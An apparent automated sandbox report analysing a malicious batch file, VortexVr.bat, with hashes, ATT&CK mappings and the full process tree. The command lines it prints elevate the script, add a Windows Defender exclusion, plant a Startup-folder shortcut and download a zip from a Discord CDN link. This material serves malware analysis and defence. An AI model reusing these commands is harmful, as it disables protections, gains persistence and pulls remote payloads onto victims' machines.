666d920bddf08df8adee4e9b7fa01616f367ff282a952a48d3b09a247fbc49de

Analysis

user interaction
yes
max time kernel
150s
max time network
132s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
05/08/2026, 17:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
VortexVr.bat
Size 14KB
Sample260805-vza84asalg
SHA256 666d920bddf08df8adee4e9b7fa01616f367ff282a952a48d3b09a247fbc49de
MD5 534fdd5dba89f581df34951ed3786e3b
SHA1 303bd64910111db7973906679466725325a7ca44
SHA512 7588c623bcda4d14fa3370a081593eb212b58f8afe182e0939a8c3fc1cf1fac2bedc73b9ae723bfc385d2eee58a98c4503abdb16d05273ad4b3cffa2e87de01d
SSDEEP 192:+clGDkkDkIP8DLnDsDpZ2Ddv/DkkDkIP8DLnDsDpZ2Ddv/DkkDkIP8DLnDsDpZ2+:NGvwI035xvwI035xvwI035xvwI035H+8
TLSH
T11262DF097384E189CBEDA2EDCAD3B945D50759211388CC56F24BA8C763FC70B71AEC5A
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence privilege_escalation

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	2636	powershell.exe
9	2636	powershell.exe
11	2636	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
120	powershell.exe
1436	powershell.exe
3820	powershell.exe
2636	powershell.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk	powershell.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1236	cmd.exe
4412	cmd.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
876	powershell.exe
876	powershell.exe
876	powershell.exe
120	powershell.exe
120	powershell.exe
120	powershell.exe
1436	powershell.exe
1436	powershell.exe
1436	powershell.exe
2636	powershell.exe
2636	powershell.exe
2636	powershell.exe
3820	powershell.exe
3820	powershell.exe

Suspicious use of AdjustPrivilegeToken 26 IoCs

description	pid	Process
Token: SeDebugPrivilege	876	powershell.exe
Token: SeDebugPrivilege	120	powershell.exe
Token: SeIncreaseQuotaPrivilege	120	powershell.exe
Token: SeSecurityPrivilege	120	powershell.exe
Token: SeTakeOwnershipPrivilege	120	powershell.exe
Token: SeLoadDriverPrivilege	120	powershell.exe
Token: SeSystemProfilePrivilege	120	powershell.exe
Token: SeSystemtimePrivilege	120	powershell.exe
Token: SeProfSingleProcessPrivilege	120	powershell.exe
Token: SeIncBasePriorityPrivilege	120	powershell.exe
Token: SeCreatePagefilePrivilege	120	powershell.exe
Token: SeBackupPrivilege	120	powershell.exe
Token: SeRestorePrivilege	120	powershell.exe
Token: SeShutdownPrivilege	120	powershell.exe
Token: SeDebugPrivilege	120	powershell.exe
Token: SeSystemEnvironmentPrivilege	120	powershell.exe
Token: SeRemoteShutdownPrivilege	120	powershell.exe
Token: SeUndockPrivilege	120	powershell.exe
Token: SeManageVolumePrivilege	120	powershell.exe
Token: 33	120	powershell.exe
Token: 34	120	powershell.exe
Token: 35	120	powershell.exe
Token: 36	120	powershell.exe
Token: SeDebugPrivilege	1436	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe
Token: SeDebugPrivilege	3820	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1236 wrote to memory of 876	1236	cmd.exe	89
PID 876 wrote to memory of 4412	876	powershell.exe	91
PID 4412 wrote to memory of 120	4412	cmd.exe	93
PID 4412 wrote to memory of 1436	4412	cmd.exe	95
PID 4412 wrote to memory of 2636	4412	cmd.exe	96
PID 4412 wrote to memory of 3820	4412	cmd.exe	98

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell start -verb runas 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat' am_admin
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:876
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\VortexVr.bat" am_admin
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4412
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:120
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk'); $Shortcut.TargetPath = 'C:\Users\Admin\AppData\Local\Temp\VortexVr.bat'; $Shortcut.Save()"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Creates a file in the Startup directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1436
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1525892269998342266/1534603983258124440/salinewin1.5.zip?ex=6a74bad5&is=6a736955&hm=84f34adc57da4aa5369e1a31b453006881d1d32904fd2885296be589ea1b674a&' -OutFile 'C:\Users\Admin\Downloads\file.zip'"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2636
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Force -Path 'C:\Users\Admin\Downloads\salinewin1.5.zip' -DestinationPath 'C:\Users\Admin\Downloads\ExtractedFiles'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3820

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
MD5 b65d38126d60f6776d0fee761697a8ab
SHA1 fce1b1fa5ee6c386768d73e767a6bf9a04c23b30
SHA512 100a082250af816628e48f6949a2068bada9998b7bd29fa7408af7fd8d4425d03c85b92e6e2e4c08dc55e6bb56b4f31aedeaf3f4ac201e80d2cdac77353c5dd6
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwa5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9Rg
TLSH
T11C636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 bcf8325db72c06bb7f6a8df3c4648a150d766a1857214c6b533c467029424ce8
MD5 e6bcee6109b84febc5ffa8c6d9b2a547
SHA1 eb5de5de4575f11fea9fb8a5f72aee1c8b5b3dab
SHA512 3081253140a770e4c68087b76b905286143feb2fbafa1e0b284b50f69ec736153f85fad9305d7e7f1309d98cf470edea4ab89da3941e068631116d03cccf5333
TLSH
T1C6115733B3CC8624CC9A403650CEAC1036B587DB509EDF6BBB84D145B83F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 858acdb8676d64845c57816b4a70cbba05c24841677e899c3325cc692f03f82e
MD5 4ff9d2122a91f2e89bedb050b5a500f3
SHA1 e7926544cde8082758b9dea941a45382fa764043
SHA512 b670bf83d9a17e2001f796914ba6b3471d41408f797072546e5572c14a8167076807fd88f31950e52dcbf804a4456c6c6e6f68d007cc7f44825b36a9c9162c29
TLSH
T1B7115733F3CC8664D89A413650CAAC1036B7C7DB409EDE9BAB84D559B42F685CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
MD5 836da308c17b18155d513895baff5404
SHA1 548067c779da32edfafb48a6f14e086ed6dac113
SHA512 178cf31b7fc6015878508f9727fbc9feeb029d245b759b27d74ce893732322acf0ecc0c3570ec7c87e62b9e6d58b374a4b529e3e47c42762cd1b8cfe74d73b6a
TLSH
T1AA115733B3CC8724DC9A403650CEAC1136B687DB409EDE6BBB84D549B82F299DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_bnefq544.32w.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bnefq544.32w.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/120-25-0x0000016BAB290000-0x0000016BABC34000-memory.dmp

Download

memory/120-23-0x0000016BC4000000-0x0000016BC400A000-memory.dmp

Download

memory/120-21-0x0000016BC3FE0000-0x0000016BC3FFE000-memory.dmp

Download

memory/120-22-0x0000016BC4240000-0x0000016BC42F2000-memory.dmp

Download

memory/876-9-0x000002A005470000-0x000002A005E14000-memory.dmp

Download

memory/876-4-0x000002A005F30000-0x000002A005F52000-memory.dmp

Download

memory/876-12-0x000002A005470000-0x000002A005E14000-memory.dmp

Download

memory/876-11-0x000002A005470000-0x000002A005E14000-memory.dmp

Download

memory/876-10-0x000002A005470000-0x000002A005E14000-memory.dmp

Download

memory/876-0-0x000002A005C0C000-0x000002A005C0D000-memory.dmp

Download

memory/876-8-0x000002A005470000-0x000002A005E14000-memory.dmp

Download

memory/876-7-0x000002A005470000-0x000002A005E14000-memory.dmp

Download

memory/876-6-0x000002A005470000-0x000002A005E14000-memory.dmp

Download

memory/876-5-0x000002A005470000-0x000002A005E14000-memory.dmp

Download

memory/876-15-0x000002A005470000-0x000002A005E14000-memory.dmp

Download

memory/876-1-0x000002A005470000-0x000002A005E14000-memory.dmp

Download

memory/1436-31-0x0000018E91F50000-0x0000018E928F4000-memory.dmp

Download

memory/2636-35-0x000001F7CBB10000-0x000001F7CC4B4000-memory.dmp

Download

memory/2636-39-0x000001F7CBB10000-0x000001F7CC4B4000-memory.dmp

Download

memory/2636-40-0x000001F7CBB10000-0x000001F7CC4B4000-memory.dmp

Download

memory/2636-43-0x000001F7CBB10000-0x000001F7CC4B4000-memory.dmp

Download

memory/2636-38-0x000001F7CBB10000-0x000001F7CC4B4000-memory.dmp

Download

memory/2636-37-0x000001F7CBB10000-0x000001F7CC4B4000-memory.dmp

Download

memory/3820-50-0x0000013A73820000-0x0000013A738D2000-memory.dmp

Download

memory/3820-52-0x0000013A728C0000-0x0000013A73264000-memory.dmp

Download